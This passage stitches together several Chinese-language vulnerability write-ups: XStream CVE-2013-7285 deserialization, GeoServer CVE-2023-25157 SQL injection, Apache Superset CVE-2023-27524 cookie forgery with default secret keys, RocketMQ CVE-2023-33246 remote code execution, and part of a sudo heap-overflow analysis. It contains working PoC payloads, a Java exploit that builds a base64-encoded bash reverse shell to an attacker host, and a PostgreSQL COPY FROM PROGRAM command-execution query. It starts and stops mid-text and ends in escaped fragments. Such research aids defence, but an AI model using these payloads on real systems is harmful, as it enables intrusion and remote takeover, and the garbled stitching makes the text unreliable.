           return MethodUtil.invoke(var13, this.target, var6);                 }   //------------------------------------------------------------------------------             } catch (IllegalAccessException var10) {                  throw new RuntimeException(var10);             } catch (InvocationTargetException var11) {                  Throwable var8 = var11.getTargetException();                  throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);             }         }   } 有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink DynamicProxyConverter 动态代理转换器 DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象: XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。 以官网给的例子为例: <dynamic-proxy>    <interface>com.foo.Blah</interface>    <interface>com.foo.Woo</interface>    <handler class="com.foo.MyHandler">      <something>blah</something>    </handler>   </dynamic-proxy> dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler 0x02 CVE-2013-7285 PoC <sorted-set>    <dynamic-proxy>      <interface>java.lang.Comparable</interface>      <handler class="java.beans.EventHandler">        <target class="java.lang.ProcessBuilder">          <command>            <string>Calc</string>          </command>        </target>        <action>start</action>      </handler>    </dynamic-proxy>   </sorted-set> 看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke() 了 触发代码 import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.FileInputStream;     // CVE_2013_7285 Exploit   public class CVE_2013_7285 {      public static void main(String[] args) throws Exception{          FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xStream = new XStream(new DomDriver());          xStream.fromXML(fileInputStream);     }   } 漏洞原理 XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。 利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。 漏洞分析 下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型 后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型 接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器 往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。 接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法: 在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。 跟进之后就变得一目了然了,其中判断 reader 是否还有子元素 下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker 往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中: 跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中 这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 <dynamic-proxy>,这里有点像是递归调用 可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个) 经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。 先判断当前元素是否还有子元素,并获取该子元素进行后续判断 根据我们所编写的 xml,获取到的子元素为 <interface>,经过判断 if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型。 因为仍旧存在子元素,获取完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。 往下走,第 125 行调用了 Proxy.newProxyInstance() 方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler 类 往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 <handler> 节点之下还有很多子节点(又看到了熟悉的 hasChildren() 这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法 后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。 将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方 跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据 最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的 invoke:428, EventHandler (java.beans) compareTo:-1, $Proxy0 (com.sun.proxy) compare:1294, TreeMap (java.util) put:538, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections) 最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行 0x03 漏洞修复 根据官方的修复手段,这里其实增加了黑名单 Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case: xstream.registerConverter(new Converter() {  public boolean canConvert(Class type) {    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type)); }  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); }  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); } }, XStream.PRIORITY_LOW); 0x04 小结 XStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的。
浅析GeoServer CVE-2023-25157 SQL注入
简介 GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。 影响版本 geoserver<2.18.7 2.19.0<=geoserver<2.19.7 2.20.0<=geoserver<2.20.7 2.21.0<=geoserver<2.21.4 2.22.0<=geoserver<2.22.2 环境搭建 安装方式有多种可以选择 windwos下载安装 https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download下载后只需要指定端口直接下载可完成安装 war包安装 tomcat下载地址 https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zipgeoserver下载地址 https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war 把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。 启动tomcat 访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081 http://localhost:8081/geoserver/web/ 分析 POC下载链接 https://github.com/win3zz/CVE-2023-25157python3 CVE-2023-25157.py http://localhost:8081 查看提交的补丁分析一下漏洞 https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块 属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程 public ConfigDatabase(            JDBCLoaderProperties properties,            DataSource dataSource,            XStreamInfoSerialBinding binding) {        this(properties, dataSource, binding, null);   }    public ConfigDatabase(            JDBCLoaderProperties properties,            final DataSource dataSource,            final XStreamInfoSerialBinding binding,            CacheProvider cacheProvider) {        this.properties = properties;        this.binding = binding;        this.template = new NamedParameterJdbcTemplate(dataSource); 通过使用参数化查询而不是字符串连接 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改         //sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");         //sql.append(") query\n");           sql.insert(                   0,                   "SELECT * FROM (SELECT query.*, rownum rnum FROM ("                           + (isDebugMode() ? "\n" : ""));           sql.append(") query");           appendIfDebug(sql, "\n", " "); 修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java 中定义 public boolean isDebugMode() {        return debugMode;   }    public void setDebugMode(boolean debugMode) {        this.debugMode = debugMode;   }    /** Escapes the contents of the SQL comment to prevent SQL injection. */    public String escapeComment(String comment) {        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");   }    /** Appends the objects to the SQL in a comment if debug mode is enabled. */    public StringBuilder appendComment(StringBuilder sql, Object... objects) {        if (!debugMode) {            return sql;       }        sql.append(" /* ");        for (Object object : objects) {            sql.append(escapeComment(String.valueOf(object)));       }        return sql.append(" */\n");   }    /** Appends the objects to the SQL in an comment if debug mode is enabled. */    public StringBuilder appendComment(Object sql, Object... objects) {        return appendComment((StringBuilder) sql, objects);   }    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {        return sql.append(debugMode ? ifEnabled : ifDisabled);   } 获取功能名POC GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 获取功能属性POC GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 构造恶意payload GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 这里引用一张图,geotools的注入漏洞 漏洞编号CVE-2023-25158,查看补丁发现 在类中添加该escapeBackslash字段https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符 // single quotes must be escaped to have a valid sql string String escaped = escapeLiteral(encoding); 调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号 public static String escapeLiteral(           String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {           // ' --> ''           String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");           if (escapeBackslash) {               // \ --> \\               escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");           }           if (escapeDoubleQuote) {               // " --> \"               escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");           }           return escaped; 至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章 https://blog.csdn.net/nmj2008/article/details/113869086修复方案 升级安全版本,目前已经有最新版本。
Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
漏洞简介 Apache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。‍ 环境搭建 可以通过 fofa 来搜索相关网站 "Apache Superset" 这里我们通过 docker 来在本地搭建环境 git clone https://github.com/apache/superset.git cd superset git checkout 2.0.0 TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up 官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找 https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache/superset:2.0.0 docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin docker exec -it superset superset db upgrade docker exec -it superset superset load_examples docker exec -it superset superset init 漏洞复现 利用脚本检测是否存在漏洞并生成相对应的 cookie 访问主页抓取数据包 将生成的 session 替换原本的 session 成功登录 接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。 经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; 漏洞分析 感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥 SECRET_KEYS = [   b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1   b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1   b'thisISaSECRET_1234',                            # deployment template   b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation   b'TEST_NON_DEV_SECRET'                            # docker compose ] Superset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。 整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。 首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中 >>> from flask_unsign import session >>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY") {'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'} >>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET') 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY' >>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM") {'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1} 漏洞修复 拒绝在非调试环境中使用默认密码启动 ‍
CVE-2023-33246命令执行复现分析
RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。 影响版本 <=RocketMQ 5.1.0 <=RocketMQ 4.9.5 环境搭建 docker pull apache/rocketmq:4.9.4 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv     //起nameserver 创建broker.conf,并且修改配置文件内容 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf   //起Broker docker ps http://127.0.0.1:10912/python3 check.py --ip 10.10.14.72 --port 9876 python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt 使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题 cd vulhub/rocketmq/CVE-2023-33246 docker-compose up -d POC如下 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "目的IP";        String targetPort = "10911";            String shellHost = "VPSIP";        String shellPort = "Listen-port";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 使用IDEA创建maven项目,创建xml文件下载依赖,下载地址 https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --> <dependency>    <groupId>org.apache.rocketmq</groupId>    <artifactId>rocketmq-tools</artifactId>    <version>4.9.4</version> </dependency> 修改POC import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "10.10.14.72";        String targetPort = "10911";            String shellHost = "10.10.14.72";        String shellPort = "65532";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 反弹结果 git clone https://github.com/SuperZero/CVE-2023-33246.git java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt" 进入容器,查看根部录下文件是已写入 java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1" 反弹shell 漏洞分析 启动broker路由如下: main:50, BrokerStartup (org.apache.rocketmq.broker) start:55, BrokerStartup (org.apache.rocketmq.broker) start:1570, BrokerController (org.apache.rocketmq.broker) startBasicService:1527, BrokerController (org.apache.rocketmq.broker) start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv) 当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行 调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand 该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd 进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令 该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。
)\r\n612: *dst++ = '\\\\';\r\n613:    *dst++ = *src;\r\n614: }\r\n   ...\r\n622: }\r\n\r\n在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL\r\n\r\nFile: src\\parse_args.c\r\n   ...\r\n265:     proglen = strlen(progname);\r\n266:     if (proglen \u003E 4 && strcmp(progname + proglen - 4, \"edit\") == 0) {\r\n267: progname = \"sudoedit\";\r\n268: mode = MODE_EDIT;\r\n269: sudo_settings[ARG_SUDOEDIT].value = \"true\";\r\n270:     }\r\n\r\n想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s\r\n\r\nFile: plugins\\sudoers\\sudoers.c\r\n ...\r\n819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n   ...\r\n858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n\r\n漏洞利用\r\n\r\n漏洞利用分析\r\n\r\n由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。\r\n\r\n• 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。\r\n\r\n• 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。\r\n\r\n可利用堆块\r\n\r\nnss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。\r\n\r\n在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于\u002Fetc\u002Fnsswitch.conf的配置文件中\r\n\r\n例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so\r\n\r\n那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。\r\n\r\n接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。\r\n\r\nFile: nsswitch.c\r\n327: static int\r\n328: nss_load_library (service_user *ni)\r\n329: {\r\n330:   if (ni-\u003Elibrary == NULL) \r\n331:     {\r\n332:       \u002F* This service has not yet been used. Fetch the service\r\n333: library for it, creating a new one if need be. If there\r\n334: is no service table from the file, this static variable\r\n335: holds the head of the service_library list made from the\r\n336: default configuration. *\u002F\r\n337:       static name_database default_table;\r\n338:       ni-\u003Elibrary = nss_new_service (service_table ?: &default_table,\r\n339:     ni-\u003Ename); \u002F\u002F若ni-\u003Elibrary的值为NULL,那么就会新建一个ni-\u003Elibrary并将成员都进行初始化\r\n340:       if (ni-\u003Elibrary == NULL)\r\n341: return -1;\r\n342:     }\r\n343: \r\n344:   if (ni-\u003Elibrary-\u003Elib_handle == NULL) \u002F\u002F由于ni-\u003Elibrary刚新建,因此ni-\u003Elibrary-\u003Elib_handle必定为NULL\r\n345:     {\r\n346:       \u002F* Load the shared library. *\u002F\r\n347:       size_t shlen = (7 + strlen (ni-\u003Ename) + 3\r\n348:      + strlen (__nss_shlib_revision) + 1);\r\n349:       int saved_errno = errno;\r\n350:       char shlib_name[shlen];\r\n351: \r\n352:       \u002F* Construct shared object name. *\u002F\r\n353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,\r\n354:      \"libnss_\"),\r\n355:    ni-\u003Ename),\r\n356:  \".so\"), \u002F\u002Fshalib_name是根据拼接得到\r\n357: __nss_shlib_revision);\r\n358: \r\n359:       ni-\u003Elibrary-\u003Elib_handle = __libc_dlopen (shlib_name); \u002F\u002F加载动态链接库\r\n \r\n\r\n上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni-\u003Ename进行一系列的拼接得到,而ni-\u003Ename则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni-\u003Ename,它是能够完成修改程序执行流程的关键变量。\r\n\r\n举个例子,例如我们将ni-\u003Ename修改为X\u002Ftest,那么最后拼接的结果会得到libnss_X\u002Ftest.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。\r\n\r\n布置堆块的操作\r\n\r\n由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni-\u003Ename,即可完成任意代码执行的效果。\r\n\r\n在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。\r\n\r\n区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。\r\n\r\nexport LC_ALL=en_US.UTF-8@XXXX\r\n\r\n而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,\"\")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。\r\n\r\n_nl_find_locale函数\r\nFile: locale\\findlocale.c\r\n101: struct __locale_data *\r\n102: _nl_find_locale (const char *locale_path, size_t locale_path_len,\r\n103: int category, const char **name)\r\n104: {\r\n   ... \r\n184:   \u002F* LOCALE can consist of up to four recognized parts for the XPG syntax:\r\n185: \r\n186: 